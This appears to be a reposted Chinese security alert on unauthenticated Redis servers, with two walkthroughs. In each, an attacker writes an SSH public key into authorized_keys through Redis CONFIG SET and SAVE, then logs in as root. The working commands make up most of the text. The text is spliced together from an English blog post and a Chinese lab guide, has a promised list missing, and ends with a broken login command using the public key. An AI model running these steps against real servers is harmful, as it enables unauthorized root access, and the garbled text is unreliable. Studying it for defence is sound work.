近日我们监测到antirez.com曝出redis存在高危安全风险,攻击者利用该风险可直接控制业务服务器,导致被入侵。 攻击方式:当企业所使用的redis对外开放且存在未授权访问的情况下(这是redis安装时的默认配置),攻击者则可以通过redis在服务器上写入公钥,从而可以从外部直接登入服务器,达到入侵的目的。
攻击测试:
服务器配置不当包括三个部分: 简单的写下过程
测试环境 $ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.表明了Redis是正常工作的,而且不需要进行身份认证。 先在attack server生成一个公钥 $ ssh-keygen -t rsa -C "crack@redis.io" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+这样有了一个公钥,但是需要把这个公钥复制到目标机器 $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txtNow foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli: $ redis-cli -h 192.168.1.11 flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackitLooks good. How to dump our memory content into the authorized_keys file? That’s kinda trivial. $ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized_keys" OK 192.168.1.11:6379> save OKAt this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside? $ ssh -i id_rsa antirez@192.168.1.11 Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local ###测试环境 ``` victim server CentOS6.6+redis2.4 192.168.192.133 attack server CentOS6.6 192.168.192.132 ``` 先在attack server生成一个公钥 ``` ssh-keygen -t rsa -C "redis" (echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt ``` 然后执行 ``` redis-cli -h 192.168.192.133 flushall cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn ``` 登录redis并修改其配置 redis-cli -h 192.168.192.133 ``` CONFIG set dir /root/.ssh/ config set dbfilename "authorized_keys" save exit ``` 然后就可以使用ssh的公钥登录了 ``` ssh -i redis.pub root@192.168.192.133 攻击条件
1.redis对外开放,且未授权访问(默认配置) 处理方案:
1.排查企业所使用的所有redis服务,确定影响范围 转载请保留固定链接: https://linuxeye.com/security/2833.html |